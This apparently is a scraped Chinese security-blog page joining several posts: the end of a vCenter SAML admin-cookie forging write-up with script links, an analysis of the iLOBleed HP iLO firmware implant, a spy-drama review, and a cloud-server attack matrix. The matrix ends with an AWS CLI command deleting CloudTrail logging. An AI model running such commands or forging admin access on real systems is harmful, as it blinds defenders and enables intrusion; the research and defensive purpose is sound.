2.避免使用f-字符串格式化Python3.6新增了一種f-字符串格式化



vCenter 6.7的版本為Python 3.5.6，不支持格式化的字符串文字前綴為”f”



我採用的方式是使用format實現格式化字符串



例如：



cn=stream.read(f'bytes:{cn_len}').decode()替換為：



cn=stream.read('bytes:{}'.format(cn_len)).decode()完整代碼已上傳至Github，地址如下：



https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py



vCenter_ExtraCertFromMdb.py可上傳至vCenter後直接執行，執行後會得到以下四個重要的參數：



domain，在命令行顯示



idp_cert，保存為idp_cert.txt



trusted_cert_1，保存為trusted_cert_1.txt



trusted_cert_2，保存為trusted_cert_2.txt



接下來，可在任意主機上為管理員用戶創建SAML請求，使用vCenter server進行身份驗證並獲得有效的管理員cookie，完整代碼已上傳至Github，地址如下：



https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py



參數說明如下：



target: VCSA管理面板的URL



hostname: 對應VCSA管理面板的證書Subject屬性中的CN



domain: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得



idp_cert path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得



trusted_cert_1 path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得



trusted_cert_2 path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得



0x04 利用思路1.從vCenter本地管理員權限到VCSA管理面板的管理員訪問權限前提：通過漏洞獲得了vCenter本地管理員權限



利用效果：



獲得VCSA管理面板的管理員訪問權限，能夠同vCenter可管理的虛擬機進行交互



注：



此時還可以通過《vSphere开发指南5——LDAP》 中介紹的方法通過LDAP數據庫添加管理員用戶，進而同vCenter可管理的虛擬機進行交互



2.從vCenter備份文件中得到data.mdb前提：需要獲得正確的data.mdb文件



利用效果：



獲得VCSA管理面板的管理員訪問權限，能夠同vCenter可管理的虛擬機進行交互



0x05 防禦建議1.更新補丁，避免攻擊者獲得vCenter本地管理員權限



2.避免在用的vCenter備份文件洩露



0x06 小結本文介紹了vcenter_saml_login的優化思路，增加通用性，結合利用思路給出防禦建議。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
Implant.ARM.iLOBleed.a惡意軟件分析在本節中，我們將對HP iLO 固件中發現的植入程序進行技術分析。



當我們的安全分析團隊發現惡意軟件時，攻擊者決定擦除服務器的磁盤並完全隱藏他們的踪跡。有趣的是，攻擊者並會不斷擦除痕跡，他們將惡意軟件設置為每隔一段時間重複執行數據擦除。也許他們認為，如果系統管理員重新安裝操作系統，整個硬盤會在一段時間後再次被擦除。顯然，他們不認為他們的惡意軟件會被發現。



但與其他“wiper”惡意軟件不同，這不是一次性惡意軟件。它旨在長時間保持在雷達之下。此惡意軟件的重要功能之一是操縱iLO 固件升級例程，因此如果系統管理員嘗試將iLO 固件升級到新版本，惡意軟件會在阻止升級例程的同時模擬版本更改。為此，惡意軟件會假裝升級成功，並提供所有正確的消息和日誌。甚至固件版本的確切數量也被提取並顯示在Web 控制台和其他位置的適當位置，儘管實際上並未執行升級。



這就表明，該惡意軟件的目的是成為具有最大隱蔽性並躲避所有安全檢查的rootkit。一種惡意軟件，通過隱藏在最強大的處理資源之一（始終打開）中，能夠執行從攻擊者那裡收到的任何命令，而不會被檢測到。



很自然，執行的此類攻擊屬於APT 類別。但是，使用如此強大且成本高昂的惡意軟件來破壞數據，增加惡意軟件被檢測到的可能性的任務對於這些攻擊者來說似乎是一個明顯的錯誤。



iLO 轉儲實用程序檢查固件感染的第一步是準備一個副本或檢查所謂的固件轉儲。



不幸的是，HP沒有提供一個工具或方法來測試和讀取iLO固件。為此，編寫了一個固件轉儲工具被提上了日程，最終演變成了Padvish iLO Scanner工具，並演變為兩個版本：



從主機操作系統內部掃描：如前所述，iLO 固件可通過安裝在系統上的主處理器和操作系統作為PCI-Express 卡使用。 HP 為各種操作系統引入了一個名為flash_ilo 的工具，以允許將固件更新到較新的版本。但是，此工具只允許你寫入固件，而不允許你讀取現有固件。為此，基於在iLO 上獲得的知識，我們能夠開發一種工具來讀取固件並從中創建轉儲。



通過iLO網口進行掃描：由於通過主機操作系統進行掃描可能並不總是可行，而且網絡管理員可能很難在生產服務器上執行掃描，或者很難進行大量掃描，因此考慮了另一種掃描固件的方法。此版本的掃描器允許轉儲固件，方法是使用先前iLO 版本上的一些已知漏洞，使其能夠在易受攻擊的固件上遠程執行代碼。由於使用漏洞，該版本只能轉儲2.30到2.50範圍內的HP iLO4固件。



受感染的固件分析製作服務器固件副本後，應將其與原始固件版本進行比較。 Implant.ARM.iLOBleed.a 惡意軟件基於iLO 固件2.30 版。因此，該受感染版本與原始版本之間的差異如下圖所示。



 7.png



固件簽名差異：（上）獲得的受感染轉儲，（下）惠普公司提供的原件



仔細觀察，還比較了文件系統級的兩個固件組件和模塊，如下表所示。



比較受感染系統固件模塊與原始版本的簽名8.png



如該表所示，在構成hpimage.bin 的所有模塊中，只有hpimage標頭文件和引導加載程序標頭文件兩部分是相同的。在其他部分中，簽名中的差異表明這兩個文件在這些部分之間存在差異。也可以看出，大部分變化都與ELF.bin模塊有關，而其他模塊只有2到12個字節的變化。



重啟後持久化任何類型的惡意軟件的開發人員擔心的一個問題是，在惡意軟件最初進入系統後，系統必須“保持”受感染狀態。



正如我們之前在“iLO 固件結構”一節中詳細介紹的，在iLO 啟動過程中，bootloader 模塊負責驗證操作系統內核的簽名，而係統的內核負責驗證用戶模式模塊的簽名。因此，如果攻擊者想要在iLO 固件上創建後門，除了插入後門（基本上在ELF.bin 文件中完成）之外，就必須在操作系統內核中禁用驗證機制，從而在引導加載程序中禁用驗證機制。



 9.png



禁用操作系統內核和用戶模式模塊的驗證過程



上圖簡要描述了繞過操作系統內核和用戶模式模塊驗證過程的過程：攻擊者通過逆向工程提取bootloader.bin、kernel.bin 和ELF.bin 三個主要部分後，查找在引導加載程序和內核中執行簽名驗證和驗證操作的函數的地址，並將它們替換為NOP 命令。最後，將修改後的文件組合在一起形成一個完整的HP Image 文件，並作為新固件寫入SPI 閃存。重啟後，可以看到被感染的固件加載後門沒有任何問題。



惡意軟件模塊分析引導加載程序部分如表2 所示，Boot Loader 與原始固件相比更改了5 個字節。對這些字節的詳細分析表明，這種差異是由於負責驗證操作系統內核的功能發生了變化，並且正在通過替換NOP 命令禁用此過程。



 10.png



禁用Bootloader 中的簽名驗證功能



內核部分如表2 所示，內核從原始固件更改了12 個字節。對這一變化的更詳細分析表明，這種差異是由於負責驗證UserLand 簽名並通過替換3 個NOP 命令禁用此過程的功能發生了變化。



 11.png



禁用內核中的簽名驗證功能



UserLand 部分提取受感染固件的UserLand 部分並將其內容與原始版本進行比較，表明刪除了一個文件（sectionInfo）並添加了一個新模塊（稱為newELF，包含17 個單獨的部分）。此外，除了添加新的惡意軟件模塊外，原始版本中的許多模塊也發生了變化。



 12.png



受感染系統硬件中的修改文件



在本節中，將該惡意軟件中原始版本的模塊與修改後的模塊進行比較，結果如下表所示。



帶有NewELF 的iLO 版本與原始版本的比較13.png



惡意軟件工件



Implant.ARM.iLOBleed.a 惡意軟件在iLO（也稱為NAND 閃存）的工作區存儲中創建3 個文件。這些文件的路徑甚至名稱似乎都可以通過配置器模塊進行配置。在我們獲得的惡意軟件樣本中，這三個文件分別命名為lifesignal.bin、schedule.bin 和fakefwdata.bin。



惡意軟件使用的三個文件14.png



如果系統管理員嘗試升級其服務器的固件版本，惡意軟件會在阻止和模擬固件升級操作以欺騙系統管理員的同時，在fakefwdata.bin 文件中輸入此操作的信息。



如其名稱所示，schedule.bin文件用於調度磁盤擦除操作。在這個文件中，存儲了兩個4字節的整數：一個計數器和一個日期紀元。前4個字節的數字(計數器)被設置為一個初始值，並在每次執行磁盤擦除過程時減少1。此操作按週期重複，直到計數器為零。第二個數字(日期)表示磁盤擦除進程的開始日期。



 15.png



文件schedule.bin 的內容



“newELF”模塊內部這個模塊是一個完整的ELF，添加到Boottable的末尾，增加一個單元的進程數。此ELF 與此固件中的其他ELF 一樣，由幾個基本組件組成。第一部分是NewELF.ELF.Initial.text，與其他ELF 不同，它不是空的，並且包含代碼。仔細觀察會發現，該部分與ConAppCLI.ELF.text 非常相似，後者是iLO 硬件的主要模塊之一。表5 顯示了這兩個模塊之間的一般比較，顯示了它們的差異。這些相似之處表明Implant.ARM.iLOBleed.a 惡意軟件的基本結構是基於ConAppCLi 模塊的功能。



ConAppCLI.ELF.text 和NewELF.ELF.Initial.text 之間的比較



 16.png



惡意軟件的另一個基本部分是NewELF.ELF.text，下圖顯示了該惡意軟件的主要功能。該函數的主要任務之一是設置一個確定惡意軟件操作主要參數的數據結構，其中一部分已如上圖所示。在該函數的開頭，schedule.bin文件的地址為複製到一個變量，指向這個地址的指針複製到數據結構的0x0c地址。



 17.png



惡意軟件的主要函數



接下來，在另一個名為initOperationConfigFiles 的函數中，檢查惡意軟件所需文件的狀態。在這個函數中，首先創建lifesignal.bin文件，然後滿足以下條件：



如果schedule.bin 文件存在並且具有有效的結構，則其內容將被複製到數據結構的地址0 到0x07，並且值0x3 將寫入lifesignal.bin 文件。



如果相關地址中不存在schedule.bin 文件，則會創建並填充初始值。之後，數據結構就被完全填滿了。



如果schedule.bin 文件的結構無效，則會在lifesignal.bin 文件中寫入0x9。



 18.png



惡意軟件運行參數的數據結構



如前所述，schedule.bin 文件由兩個4 字節的數字組成。在操作開始時，在initOperationConfigFiles 函數中，計數器編號設置為maxOperationCount（地址0x24 數據結構），日期編號設置為所需的時間和命令執行的日期。在惡意軟件的一個樣本中，重複操作的最大值設置為0x2，而在另一個樣本中設置為0x3e8（相當於1000 次）。



在檢查了執行擦除操作的適當條件後，該操作將在startPeriodicOperation 函數中開始。此函數在第一步中創建並填充具有最大操作長度的數據結構數組。這些數據結構中的每一個都使用不同的執行時間值進行評估。該設置使得惡意軟件在初始等待時間（例如36 小時）的基礎上增加了各種操作週期（例如12 小時）的倍數，並將該值記錄在每個數據結構的0x1C 地址處。在這種情況下，操作在從schedule.bin 文件中記錄的時間開始的等待時間（36 小時）之後開始，並在每個週期重複。最後調用startWipeOperation 函數，執行磁盤擦除操作。



 19.png



startPeriodicOperation 的函數體



startWipeOperation 函數在循環中執行擦除操作，如下圖所示。在此循環開始時，名為GetAndValidateOperationParameters 的函數檢查操作參數的準確性併計算剩餘的操作數。實際上，在名為SuccessfulOperationCount 的變量中執行的操作數被提取並檢查，以便獲得的數不超過計數器的最大值。



 20.png



startWipeOperation 的函數體



下一個函數是WaitForNextOperationTarget 函數，其內容如下圖所示。該函數的職責是在主循環中創建中斷，直到到達下一個操作時間。在指定的時間，此函數退出其循環，操作的主循環繼續操作。



 21.png



WaitForNextOperationTarget 的函數體



在主循環的下一部分中，執行擦除磁盤操作並完全擦除服務器的硬盤。擦除操作完成後，schedule.bin 文件由DecrementOperationCount 函數更新，並減少一個計數器。 DecrementOperationCount 函數的主體如下圖所示。



 22.png



DecrementOperationCount 的函數體



修改後的模塊分析該惡意軟件包含一些iLO 模塊的修改版本，其中一些模塊被修改以防止原始函數或以其他方式更改它。惡意軟件中有6 個修改後的模塊，如下所示：



惡意軟件修改模塊



 23.png



總結固件安全近年來已經成為IT安全中的一個重要問題，但在實際應用中還沒有得到足夠的重視。由於HP iLO 管理工具具有的功能和高級別的訪問權限，它需要特殊的保護方法。不幸的是，由於缺乏工具和信息以及iLO 技術的專有性質，許多安全研究人員無法研究這些系統。更糟糕的是，儘管安全研究人員過去發表的研究已經證明了惡意軟件嵌入軟件的可能性，但仍然沒有公開可用的解決方案來檢測感染並在感染髮生時將其阻止。



另一個重點是，有一些方法可以通過網絡和主機操作系統訪問和感染iLO。這意味著即使iLO 網線完全斷開，仍然存在感染惡意軟件的可能。有趣的是，如果不需要iLO，則無法完全關閉或禁用iLO。



這些問題表明需要採取預防性安全措施來提高固件的安全性，例如更新到製造商提供的最新版本、更改管理員密碼以及將iLO 網絡與操作網絡隔離，最後，定期監測固件的安全參數和潛在感染狀態。



保護建議請勿將iLO 網絡接口連接到操作網絡並臨時搭建一個完全獨立的網絡；



定期將iLO 固件版本更新到HP 的最新官方版本；



在HP服務器上執行iLO安全設置，並禁用G10 服務器的降級；



使用縱深防禦策略降低風險並在到達iLO 之前檢測潛在的攻擊；



定期使用iLO Scanner 工具檢測當前版本的iLO 服務器固件中的潛在漏洞、惡意軟件和後門


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
篇首語：過去的一個月非常忙碌，RC2實驗室剛剛結束了第一期為期15天的『LEVEL-4 TSCM反竊密專家課程』，確實累得夠嗆。



 LEVEL-4合集.jpg



元旦三天假期，終於可以安心刷完這部國產反諜劇《对手》 ，想著趕緊寫個劇評，分享給大家，結果又拖到了今天.



 对手第09集[00_17_20][20220107-145033].png



注：一直以來，感謝大家的支持，2021很不容易，2022我們會更加努力。



01 新劇介紹看膩了什麼民國時期的諜戰劇，基本上楊叔一看到官方介紹上有什麼小鮮肉，或者人物個個都是光鮮帥氣，就覺得可以不用浪費時間了。



.咳咳，直到這部劇的出現：《对 手》 



 536ec1ddc7bf4ae3ba5f40d337dcbb14.jpeg



先引用下網上的官方介紹：



電視劇《对手》 是愛奇藝出品，海東明日影視聯合出品，由盧倫常執導，郭京飛、譚卓、顏丙燕、寧理領銜主演，孫佳雨、王天辰、劉帥良主演，何藍逗聯合主演，黃堯、張月特別主演的當代都市諜戰劇，講述了和平年代的“諜戰”故事。



 《对手》 講述了國家安全警察在日常生活中尋找間諜線索的故事，他們憑藉著精湛的偵查能力，為了國家和人民的安居樂業，克服了一切困難，最後贏得了勝利。



 对手第09集[00_10_22][20220104-010235].png



02 關於技術竊密的一些片段還是聊聊劇中的技術吧~



之前楊叔在分享電影《扫黑 • 决战》 時說過，國產電影電視劇中很少出現跟踪、技術竊密的場景，有朋友留言說是國情不允許啊之類。



其實按照國內這些年引進的這麼多相關內容的歐美港台電影來看，比如《窃听风云》 系列，《碟中谍》 等，說國情不允許肯定是誇張了。



楊叔：“相信最主要的原因還是導演、編劇的意識理念缺乏所致。”



所以，在《对手》 這部劇裡，這方面的情節展現就顯得特別亮眼。



場景1 部署竊聽器材郭京飛飾演的潛伏間諜“桃園”，在某總工辦公室安裝無線發射功能的竊聽器。



 对手第09集[00_39_04][20220106-235619].png



 对手第06集[00_32_30][20220106-234125].png



 对手第09集[00_40_12][20220106-235843].png



 对手第09集[00_40_33][20220106-235400].png



這樣，境外間諜組長林彧，就能從遠程竊聽辦公室裡的內容。這個設定屬於典型的技術竊密手段。



場景2 無線竊聽器為了監聽及控制，境外潛伏間諜在女孩包里安裝了無線竊聽器，在被國安丁曉禾發現後，迅速開展了緊急線人保護流程處理。



 对手第32集[00_26_43][20220107-004835].png



 对手第32集[00_27_48][20220107-004957].png



 对手第32集[00_35_06][20220107-005241].png



劇中發現竊聽器材後的處理流程非常緊湊、專業。



場景3 部署偷拍器材郭京飛在獲得女兒男友家的地址後，為了方便後續監視，在對方屋頂射燈裡，安裝了一個針孔偷拍器材（桃園同學可真是“全才”啊圖片）



 对手第17集[00_34_37][20220107-003003].png



 对手第17集[00_34_42][20220107-003015].png



 对手第17集[00_34_50][20220107-003031].png



佈置在射燈光源側方上的這種“光源盲區”部署手法，有點技術含量，很符合角色定義。



場景4 使用EMP開智能門鎖郭京飛在進入某個高檔小區的一戶時，手持EMP設備破壞智能門鎖，從而實習物理滲透。



 对手第11集[00_18_50][20220107-000537].png



場景5 保險櫃的技術開鎖郭京飛使用隨身的器材，對個人保險櫃開展技術開鎖。



 对手第11集[00_20_32][20220107-000829].png



 对手第11集[00_20_51][20220107-000616].png



場景6 紫外線勘查痕跡郭京飛使用紫外線燈，查看對方在電梯裡按下的樓層按鍵。



 对手第11集[00_18_26][20220107-000936].png



再比如社會工程學、莫爾斯電碼、徒步跟踪、暗語等等，還有很多場景都設計得很用心，哈哈，楊叔就不劇透了。



04 可以再加強的細節楊叔覺得整部劇中，有些細節還是可以再加強一下的，比如：



細節1 手持檢測設備郭京飛懷疑自家裡被裝了器材，於是開始對臥室進行排查。



令人無語的是，作為一部現代反諜劇，一位“專業間諜”，居然使用淘寶上購買的反偷拍設備？



而且這還並非是最新款，而是已經淘汰的10多年前華強北銷售的CC308系列。



 对手第14集[00_01_59][20220107-145520].png



 对手第14集[00_02_07][20220107-145553].png



可能有人會說，從淘寶上買設備是一種掩護，或者由於郭京飛沒錢，沒辦法購買昂貴的檢測設備（目前這款CC308也就是幾十元），更或者說這就是十多年潛伏時購置的，一直使用到現在。



聽起來似乎有那麼點道理，但是：



一，對比郭京飛在人家總工房間安裝無線電竊聽器這個場景，就知道他本身對竊聽器材功能肯定是熟悉的。



在這種設定前提下，對室內是否存在無線發射器材，使用一些具備無線偵測能力的專業檢測設備，相信更加符合人物設定。



下圖是RC2的Level-2 商業安全隱私保護課程現場，學員們使用專業手持檢測設備，開展室內物理安全檢測。



 微信截图_20220109121217.png



二，作為民用的CC308產品質量很差，特別是電池無法拆卸這一點，基本上連續使用1個多月後就會出故障。這個糟糕的設計，現在還有很多國內設備在模仿。



楊叔2008年在華強北也買過這款，1個月後內置電池就鼓包廢掉了，我想導演一定不知道這一點圖片。



楊叔：這確實是一個小敗筆，還好瑕不掩瑜。



 640.gif



細節2 監控軟件耳機劇中對無線竊聽的展示，讓人眼前一亮。



不過令人哭笑不得的是，劇中無論是國安的監控人員，還是境外潛伏間諜，居然用的都是同一個音頻監控軟件界面。



 对手第13集[00_30_03][20220107-001758].png



 对手第32集[00_27_03][20220107-004757].png



楊叔覺得：這肯定是技術/道具組偷懶了。



這款名為”Adobe Audition CC 2018”的軟件，確實是強大的音頻工作站，可以用於創建、混合、編輯和復原音頻內容的多軌、波形和光譜顯示功能。



難道說行業裡這一款是爆款？雙方都在用？



更幽默的是，劇中雙方居然都用同一款甚至同一個型號的監聽耳機，我就D#@*？



 对手第32集[00_27_48][20220107-004957].png



 对手第13集[00_42_57][20220107-001954].png



 对手第34集[00_19_59][20220107-005635].png



iSK給了多少廣告費？



哼，我大森海塞爾表示不服。



 640 (2).gif



05 劇中的伏筆全劇中多次出現了國內“天網工程”和“情報大數據”方面的內容，盡顯技術監控能力。



 对手第02集[00_38_50][20220106-233321].png



 对手第02集[00_38_55][20220106-233334].png



不過導演在一邊肯定這些高新技術使用的同時，也指出了依然可能存在的死角。



比如劇中的國安警察黃海，在一個缺少公共治安攝像頭的背街小巷中，在手機信號被屏蔽後，就遭遇了殺手的埋伏，而自己的隊友由於沒辦法精准定位手機，險些就沒救上。



 对手第35集[00_10_05][20220107-005937].png



 对手第35集[00_11_08][20220107-010000].png



咳咳，劇情和結局就不劇透了，感興趣的朋友們趕緊去看。



2022，春節將至



希望大家都平平安安~



 2022年1月，受國內多地疫情管控影響，年前線下公開隱私保護課程先行暫停。



 為確保大家都能平安順利地參與課程，RC2將在春節後重新啟動，給大家造成不便，敬請諒解。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
前言雲服務器（Cloud Virtual Machine，CVM）是一種較為常見的雲服務，為用戶提供安全可靠以及高效的計算服務。用戶可以靈活的擴展以及縮減計算資源，以適應變化的業務需求。使用雲服務器可以極大降低用戶的軟硬件採購成本以及IT 運維成本。



由於雲服務器中承載著用戶的業務以及數據，其安全性尤為重要而云服務器的風險往往來自於兩方面：雲廠商平台側的風險與用戶在使用雲服務器時的風險。與用戶側風險相比，平台側的漏洞往往帶來更廣泛的影響，例如於2018 披露的AWS Launching EC2s did not require specifying AMI owner漏洞（CVE-2018-15869）、2020年披露的AWS XSS on EC2 web console漏洞；而與平台側漏洞相比，用戶側漏洞更容易產生，並且可以對用戶資產代理嚴重影響，例如2020年美高梅(MGM.US)大規模客戶數據洩露為例，美高梅酒店由於錯誤配置，導致雲服務器可以在未經授權情況下訪問，導致1.42億有關客人的信息暗網上出售，這些數據包含客人的家庭住址、聯繫信息、出生日期、駕照號碼和護照號碼。



雲服務器的安全性至關重要，只有深入了解針對雲服務器的風險以及攻擊手段，才能夠有效的幫助雲廠商以及用戶在面對這些威脅時有效的識別並採取對應的防護手段，從而保護雲上業務以及數據的安全。



雲服務器攻防矩陣概覽騰訊安全雲鼎實驗室以公開的雲廠商歷史漏洞數據、安全事件，以及騰訊云自身的安全數據為基礎，抽像出針對雲的攻防矩陣，並於2021年9月26日西部雲安全峰會上發布的《云安全攻防矩阵v1.0》 中首次亮相。《云安全攻防矩阵v1.0》 由雲服務器、容器以及對象存儲服務攻防矩陣共同組成。



本文將詳細介紹《云安全攻防矩阵》 中關於雲服務器攻防矩陣部分內容，以幫助開發、運維以及安全人員了解雲服務器的安全風險。



 计划.png



雲服務器攻防矩陣



雲服務器攻防矩陣詳解初始訪問云平台主API密鑰洩露



雲平台主API密鑰重要性等同於用戶的登錄密碼，其代表了賬號所有者的身份以及對應的權限。



API 密鑰由SecretId和SecretKey組成，用戶可以通過API密鑰來訪問云平台API進而管理賬號下的資源。在一些攻擊場景中，由於開發者不安全的開發以及配置導致憑據洩露；而在另一些針對設備的入侵場景中，攻擊者將入侵設備並獲取設備中存儲的雲平台憑據，例如2020年TeamTNT組織針對Docker的攻擊事件中，惡意程序將會掃描受感染系統的~/.aws/credentials和~/.aws/config文件並竊取，導致AWS 憑證洩露。



在攻擊者可以通過竊取到的雲平台主API 密鑰後，冒用賬號所有者的身份入侵雲平台，非法操作雲服務器，篡改其中業務代碼、添加後門程序或竊取其中數據。



雲平台賬號非法登錄



雲平台提供多種身份驗證機制以供用戶登錄，包括手機驗證、賬號密碼驗證、郵箱驗證等。在雲平台登錄環節，攻擊者通過多種手法進行攻擊以獲取用戶的登錄權限，並冒用用戶身份非法登錄，具體的技術包括使用弱口令、使用用戶洩露賬號數據、騙取用戶登錄手機驗證碼、盜取用戶登錄賬號等。攻擊者使用獲取到的賬號信息進行非法登錄雲平台後，即可操作雲服務器。



實例登錄信息洩露



在購買並創建雲服務器後，用戶可以自行配置雲服務器的登錄用戶名以及登錄密碼，Linux雲服務器往往支持用戶通過ssh的方式使用配置的用戶名密碼或SSH密鑰的方式遠程登錄雲服務器；在Windows服務器中，用戶可以通過RDP文件或是遠程桌面的形式登錄雲服務器。當上述這些雲服務器實例登錄信息被竊取後，攻擊者可以通過這些信息非法登錄雲服務器實例。



賬戶劫持



當云廠商提供的控制台存在漏洞時，用戶的賬戶存在一定的劫持風險。以AWS 控制台更改歷史記錄功能模塊處XSS漏洞以及AWS 控制台實例tag處XSS為例，攻擊者可以通過這些XSS漏洞完成賬戶劫持攻擊，從而獲取雲服務器實例的控制權。



網絡釣魚



為了獲取雲服務器的訪問權限，攻擊者可採用網絡釣魚技術手段完成此階段攻擊。攻擊者通過向雲服務器管理人員以及運維人員發送特定主題的釣魚郵件、或是偽裝身份與管理人員以及運維人員通過聊天工具進行交流，通過竊取憑據、登錄信息或是安插後門的形式獲取雲服務器控制權。



應用程序漏洞



當云服務器實例中運行的應用程序存在漏洞、或是由於配置不當導致這些應用可以被非法訪問時，攻擊者可以通過掃描探測的方式發現並利用這些應用程序漏洞進行攻擊，從而獲取雲服務器實例的訪問權限。



使用惡意或存在漏洞的自定義鏡像



雲平台為用戶提供公共鏡像、自定義鏡像等鏡像服務以供用戶快速創建和此鏡像相同配置的雲服務器實例。這裡的鏡像雖然與Docker鏡像不同，其底層使用的是雲硬盤快照服務，但云服務器鏡像與Docker鏡像一樣存在著類似的風險，即惡意鏡像以及存在漏洞的鏡像風險。當用戶使用其他用戶共享的鏡像創建雲服務器實例時，雲平台無法保證這個共享鏡像的完整性或安全性。攻擊者可以通過這個方式，製作惡意自定義鏡像並通過共享的方式進行供應鏈攻擊。



實例元數據服務未授權訪問



雲服務器實例元數據服務是一種提供查詢運行中的實例內元數據的服務，雲服務器實例元數據服務運行在鏈路本地地址上，當實例向元數據服務發起請求時，該請求不會通過網絡傳輸，但是如果雲服務器上的應用存在RCE、SSRF等漏洞時，攻擊者可以通過漏洞訪問實例元數據服務。通過雲服務器實例元數據服務查詢，攻擊者除了可以獲取雲服務器實例的一些屬性之外，更重要的是可以獲取與實例綁定的擁有高權限的角色，並通過此角色獲取雲服務器的控制權。



執行通過控制台登錄實例執行



攻擊者在初始訪問階段獲取到平台登錄憑據後，可以利用平台憑據登錄雲平台，並直接使用雲平台提供的Web控制台登錄雲服務器實例，在成功登錄實例後，攻擊者可以在實例內部執行命令。



寫入userdata執行



Userdata是雲服務器為用戶提供的一項自定義數據服務，在創建雲服務器時，用戶可以通過指定自定義數據，進行配置實例。當云服務器啟動時，自定義數據將以文本的方式傳遞到雲服務器中，並執行該文本。



通過這一功能，攻擊者可以修改實例userdata並向其中寫入待執行的命令，這些代碼將會在實例每次啟動時自動執行。攻擊者可以通過重啟雲服務器實例的方式，加載userdata中命令並執行。



利用後門文件執行



攻擊者在雲服務器實例中部署後門文件的方式有多種，例如通過Web應用漏洞向雲服務器實例上傳後門文件、或是通過供應鏈攻擊的方式誘使目標使用存在後門的惡意鏡像，當後門文件部署成功後，攻擊者可以利用這些後門文件在雲服務器實例上執行命令



利用應用程序執行



雲服務器實例上部署的應用程序，可能會直接或者間接的提供命令執行功能，例如一些服務器管理類應用程序將直接提供在雲服務器上執行命令的功能，而另一些應用，例如數據庫服務，可以利用一些組件進行命令執行。當這些程序存在配置錯誤時，攻擊者可以直接利用這些應用程序在雲服務器實例上執行命令



利用SSH服務進入實例執行



雲服務器Linux實例上往往運行著SSH服務，當攻擊者在初始訪問階段成功獲取到有效的登錄憑據後，即可通過SSH登錄雲服務器實例並進行命令執行。



利用遠程代碼執行漏洞執行



當云服務器上部署的應用程序存在遠程代碼執行漏洞時，攻擊者將利用此脆弱的應用程序並通過編寫相應的EXP來進行遠程命令執行。



使用雲API執行



攻擊者利用初始訪問階段獲取到的擁有操作雲服務器權限的憑據，通過向雲平台API接口發送HTTP/HTTPS 請求，以實現與雲服務器實例的交互操作。



雲服務器實例提供了豐富的API接口以共用戶使用，攻擊者可以通過使用這些API接口並構造相應的參數，以此執行對應的操作指令，例如重啟實例、修改實例賬號密碼、刪除實例等。



使用雲廠商工具執行



除了使用雲API接口完成雲服務器命令執行之外，還可以選擇使用雲平台提供的可視化或命令行工具進行操作。在配置完成雲服務器實例信息以及憑據後，攻擊者即可使用這類工具進行服務器實例的管理以及執行相應命令。



持久化利用遠程控制軟件



為了方便管理雲服務器實例，管理員有可能在實例中安裝有遠程控制軟件，這種情況在windows實例中居多。攻擊者可以在服務器中搜索此類遠程控制軟件，並獲取連接憑據，進行持久化。攻擊者也可以在實例中安裝遠控軟件以達成持久化的目的。



在userdata中添加後門



正如“執行”階段所介紹，攻擊者可以利用雲服務器提供的userdata服務進行持久化操作，攻擊者可以通過調用雲API接口的方式在userdata中寫入後門代碼，每當服務器重啟時，後門代碼將會自動執行，從而實現了隱蔽的持久化操作目的



在雲函數中添加後門



雲函數是是一種計算服務，可以為企業和開發者們提供的無服務器執行環境。用戶只需使用平台支持的語言編寫核心代碼並設置代碼運行的條件，即可彈性、安全地運行代碼，由平台完成服務器和操作系統維護、容量配置和自動擴展、代碼監控和日誌記錄等工作。



以AWS Lambda為例，用戶可以創建一個IAM角色並賦予其相應的權限並在創建函數時提供該角色作為此函數的執行角色，當函數被調用時，Lambda 代入該角色，如果函數綁定的角色權限過高，攻擊者可以在其中插入後門代碼，例如在調用該函數後創建一個新用戶，以此進行持久化操作。



在自定義鏡像庫中導入後門鏡像



在攻擊者獲取雲服務器控制台權限後，可以對用戶自定義鏡像倉庫中的鏡像進行導入、刪除等操作，攻擊者可以將其構造的存在後門的鏡像上傳至用戶鏡像倉庫。此外，為了提高攻擊成功率，攻擊者還可以使用後門鏡像替換用戶鏡像倉庫中原有鏡像。當用戶使用後門鏡像進行實例創建時，即可觸發惡意代碼以完成持久化操作。



給現有的用戶分配額外的API密鑰



API密鑰是構建騰訊雲API 請求的重要憑證，雲平台運行用戶創建多個API密鑰，通過此功能，擁有API密鑰管理權限的攻擊者可以為賬戶下所有用戶分配一個額外的API密鑰，並使用這些API密鑰進行攻擊。



建立輔助賬號登錄



擁有訪問管理權限的攻擊者可以通過建立子賬號的形式進行持久化操作，攻擊者可以將建立的子賬號關聯等同於主賬號的策略，並通過子賬號進行後續的攻擊行為。



權限提升通過訪問管理提權



錯誤的授予雲平台子賬號過高的權限，也可能會導致子賬號通過訪問管理功能進行提權操作。由於錯誤的授予雲平台子賬號過高的操作訪問管理功能的權限，子賬號用戶可以通過訪問管理功能自行授權策略。通過此攻擊手段，攻擊者可以通過在訪問管理中修改其云服務器的權限策略，以達到權限提升。



利用應用程序提權



攻擊者通過雲服務器中運行的Docker容器中應用漏洞，成功獲取Docker容器的權限，攻擊者可以通過Docker漏洞或錯誤配置進行容器逃逸，並獲取雲主機的控制權，從而實現權限提升。當然，攻擊者也可以通過其他應用程序進行提權。



創建高權限角色



當攻擊者擁有訪問管理中新建角色的權限時，可以通過調用雲API接口的方式，建立一個新的角色，並為這個角色賦予高權限的策略，攻擊者可以通過利用此角色進行後續的攻擊行為。



利用操作系統漏洞進行提權



與傳統主機安全問題相似，雲服務器實例也同樣可能存在操作系統漏洞，攻擊者可以利用操作系統漏洞，進行權限提升。



防禦繞過關閉安全監控服務



雲平台為了保護用戶雲主機的安全，往往會提供一些安全監控產品用以監控和驗證活動事件的真實性，並且以此辨識安全事件，檢測未經授權的訪問。攻擊者可以通過在攻擊流程中關閉安全監控產品以進行防禦繞過，以AWS CloudTrail為例，攻擊者可以通過如下指令指令關閉CloudTrail監控：



aws cloudtrail delete-trail --name [my-trail]



